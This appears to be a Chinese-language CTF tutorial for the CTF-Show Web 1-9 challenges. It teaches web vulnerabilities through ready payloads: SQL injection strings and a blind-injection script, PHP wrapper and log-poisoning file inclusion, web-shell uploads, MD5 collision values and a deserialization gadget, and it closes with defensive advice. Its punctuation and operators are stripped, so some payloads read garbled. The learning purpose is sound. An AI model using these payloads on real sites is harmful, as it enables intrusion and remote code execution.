1. CTF-Show Web 1-9 解题思路与技巧CTFCapture The Flag网络安全竞赛中的Web题目往往涉及多种漏洞类型和攻击手法。CTF-Show平台的Web 1-9题目涵盖了从基础到进阶的Web安全知识点是入门CTF Web方向的经典题目集合。1.1 题目类型概览Web 1-9题目主要涉及以下几种漏洞类型SQL注入数字型、字符型、报错注入、布尔盲注文件包含漏洞本地文件包含、远程文件包含文件上传漏洞客户端绕过、黑名单绕过、内容检测绕过PHP代码审计弱类型比较、MD5碰撞、变量覆盖HTTP协议相关漏洞请求头伪造、Cookie注入1.2 解题通用思路面对CTF Web题目建议按照以下步骤进行分析信息收集查看页面源码、检查HTTP响应头、尝试目录扫描功能测试测试所有输入点GET/POST参数、Cookie、HTTP头漏洞利用根据测试结果尝试相应攻击手法权限提升获取shell后尝试提权或横向移动获取flag通常在特定文件或数据库表中2. SQL注入漏洞详解与实战2.1 SQL注入基本原理SQL注入是由于程序未对用户输入进行充分过滤导致攻击者可以插入恶意SQL语句的攻击方式。在CTF-Show Web题目中SQL注入是最常见的漏洞类型之一。2.1.1 注入点识别判断是否存在SQL注入的常用方法?id1 # 观察是否报错 ?id1 and 11 # 正常显示 ?id1 and 12 # 不显示内容2.1.2 联合查询注入当页面有回显位时可以使用UNION注入?id1 order by 3-- # 判断列数 ?id-1 union select 1,2,3-- # 确定回显位 ?id-1 union select 1,database(),version()-- # 获取数据库信息2.2 报错注入技巧当页面没有回显但会显示错误信息时可以使用报错注入?id1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)-- ?id1 and extractvalue(1,concat(0x7e,(select database()),0x7e))--2.3 布尔盲注实战当页面只有正确/错误两种状态时需要使用盲注import requests url http://example.com/index.php result for i in range(1, 50): for j in range(32, 127): payload f1 and ascii(substr(database(),{i},1)){j}-- r requests.get(url, params{id: payload}) if content in r.text: result chr(j) print(result) break3. 文件包含漏洞利用3.1 本地文件包含(LFI)文件包含漏洞允许攻击者包含服务器上的任意文件常见利用方式?file../../../../etc/passwd ?filephp://filter/convert.base64-encode/resourceindex.php3.2 PHP伪协议利用PHP提供了多种伪协议在CTF中常用php://filter- 读取文件源码?filephp://filter/readconvert.base64-encode/resourceflag.phpphp://input- 执行任意代码POST /?filephp://input HTTP/1.1 Host: example.com ?php system(ls);?data://- 直接包含代码?filedata://text/plain,?php system(ls);?4. 文件上传漏洞突破4.1 客户端检测绕过当网站使用JavaScript验证文件类型时禁用浏览器JavaScript使用Burp Suite拦截修改请求直接修改前端HTML代码4.2 服务端检测绕过4.2.1 文件类型绕过修改Content-TypePOST /upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namefile; filenameshell.php Content-Type: image/jpeg # 修改为允许的类型 ?php system($_GET[cmd]);?4.2.2 文件内容绕过在图片中插入PHP代码exiftool -Comment?php system($_GET[cmd]);? image.jpg mv image.jpg image.php.jpg5. PHP代码审计技巧5.1 弱类型比较漏洞PHP的比较会进行类型转换导致安全问题if ($_GET[a] admin) { // 0 admin 为true }5.2 MD5碰撞利用当代码使用松散比较MD5时if ($_GET[a] ! $_GET[b] md5($_GET[a]) md5($_GET[b])) { // 使用0e开头的MD5值 }已知的MD5碰撞值240610708: 0e462097431906509019562988736854 QNKCDZO: 0e8304004519934940580242199033915.3 反序列化漏洞PHP反序列化漏洞通常出现在unserialize()函数使用时class Test { public $cmd ls; function __destruct() { system($this-cmd); } } $obj serialize(new Test()); // 传递$obj给unserialize()将执行命令6. CTF-Show Web 1-9具体题目解析6.1 Web 1 - 基础SQL注入题目特征简单的数字型注入 解法?id1 order by 3-- # 判断列数 ?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase()-- ?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameflag-- ?id-1 union select 1,2,flag from flag--6.2 Web 5 - 文件包含日志注入解题步骤发现文件包含参数?fileindex.php通过包含日志文件获取执行?file../../var/log/apache2/access.log使用User-Agent注入PHP代码GET / HTTP/1.1 Host: target.com User-Agent: ?php system($_GET[cmd]);?包含日志文件执行命令?file../../var/log/apache2/access.logcmdls7. 防御措施与安全建议7.1 SQL注入防御使用预处理语句PDO或mysqli对输入进行严格过滤最小权限原则数据库用户只赋予必要权限7.2 文件上传安全使用白名单验证文件扩展名重命名上传文件存储上传文件在非Web目录对图片进行二次渲染7.3 文件包含防护避免动态包含文件如需动态包含使用白名单控制关闭allow_url_include8. 实用工具与资源8.1 CTF常用工具Burp Suite- HTTP代理与攻击工具sqlmap- 自动化SQL注入工具dirsearch- Web目录扫描工具Exiftool- 文件元数据编辑工具CyberChef- 在线编码解码工具8.2 学习资源推荐Web安全学习路线OWASP Top 10漏洞研究CTF平台CTFShow、BugKu、HackTheBox在线实验DVWA、WebGoat、Pikachu靶场技术博客安全客、FreeBuf、先知社区在实际CTF比赛中Web题目往往需要综合运用多种技术。建议从基础题目开始逐步掌握各种漏洞原理和利用技巧同时注重理解防御措施这样才能在安全领域走得更远。